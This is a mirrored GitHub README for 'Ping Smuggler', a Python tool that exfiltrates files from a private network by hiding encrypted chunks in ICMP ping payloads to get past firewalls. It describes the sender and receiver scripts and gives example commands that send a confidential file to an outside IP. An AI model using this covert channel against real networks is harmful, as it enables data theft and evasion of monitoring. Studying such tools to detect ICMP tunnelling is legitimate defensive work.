Giter VIP home page Giter VIP logo

0x7sec / pingsmuggler Goto Github PK

View Code? Open in Web Editor NEW
15.0 2.0 3.0 37 KB

Sneak past firewalls and exfiltrate data covertly. Encrypt your payload, disguise it as ICMP pings, and bypass network restrictions effortlessly. Unlock a stealthy way to transmit sensitive information across network barriers with Ping Smuggler!

License: GNU General Public License v3.0

Python 100.00%
data-exfiltration encryption-decryption icmp-ping ping-test python3 smuggling

pingsmuggler's Introduction

Ping Smuggler

Ping Smuggler is a Python tool designed to exfiltrate data from a private network by sending encrypted payloads disguised as ICMP ping packets. This technique can be used to bypass firewalls that allow ICMP ping traffic while maintaining a covert channel for data transmission.

Overview

This repository contains three Python scripts:

  1. Sender Script (sender.py):

    • Reads a text file and encrypts its contents into chunks.
    • Sends the encrypted chunks as ICMP payloads to a specified destination IP address. c
  2. Receiver Script (receiver.py):

    • Listens for incoming ICMP packets and captures them.
    • Decrypts the encrypted payloads contained within the ICMP packets.
    • Reconstructs the original text file from the decrypted chunks.
  3. Key Generator Script (key_generator.py):

    • Generates a random encryption key for use with the sender and receiver scripts.
    • The key must be shared between the sender and receiver to encrypt and decrypt the data.

Working Principle

Ping Smuggler utilizes the following approach to exfiltrate data:

  1. Encryption and Transmission (Sender Script):

    • The sender script encrypts the data from a text file using AES encryption.
    • The encrypted data is split into chunks, and each chunk is sent as the payload of an ICMP ping packet to the specified destination IP address.
  2. Decryption and Reconstruction (Receiver Script):

    • The receiver script captures the ICMP ping packets containing the encrypted payloads.
    • It decrypts the encrypted payloads using the same AES key.
    • Finally, it reconstructs the original text file from the decrypted chunks.

Usage

Sender Script (sender.py)

python sender.py <file_path> <destination_ip> <key>
  • <file_path>: Path to the text file to be exfiltrated.
  • <destination_ip>: IP address of the receiving computer outside the private network.
  • : Encryption key (16, 24, or 32 bytes) for AES encryption.

Receiver Script (receiver.py)

python receiver.py <key> <output_cap_file> <output_text_file>
  • : Encryption key (must match the key used by the sender script).
  • <output_cap_file>: Path to store the captured ICMP packets (in .cap format).
  • <output_text_file>: Path to store the reconstructed text file.

Example

Sender Script

python sender.py confidential_data.txt 203.0.113.5 top_secret_key

Receiver Script

python receiver.py top_secret_key received_packets.cap received_text.txt

Usage Scenario

Ping Smuggler can be utilized in scenarios where ICMP ping traffic is allowed through a firewall, providing a covert channel for exfiltrating sensitive data from a private network. By disguising encrypted data as ICMP ping payloads, Ping Smuggler enables the transfer of data without raising suspicion or triggering firewall rules.

Diagram

   Private Network            Firewall            Outside Network
+-------------------+    +-----------------+    +-------------------------+
|                   |    |    Firewall     |    |                         |
|   Sender          +--->+                 +--->+    Receiver             |
|                   |    |   (Allowing     |    |                         |
+-------------------+    |   ICMP Ping)    |    +-------------------------+
     Encrypts            +-----------------+            Decrypts
     Payloads                                           Payloads

In this diagram, Ping Smuggler bypasses the firewall by sending encrypted payloads disguised as ICMP ping packets, allowing for the exfiltration of data from the private network to the outside network.

Dependencies

  • Python 3.x
  • scapy
  • cryptography
pip install -r requirements.txt

Disclaimer

Please use Ping Smuggler responsibly and only in accordance with applicable laws and regulations. Unauthorized or malicious use of this tool may result in legal consequences. The authors of this tool are not responsible for any misuse or damage caused by Ping Smuggler. This tool is intended for educational and research purposes only.

pingsmuggler's People

Contributors

0x7sec avatar deepsource-autofix[bot] avatar deepsource-io[bot] avatar spotlightforbugs avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.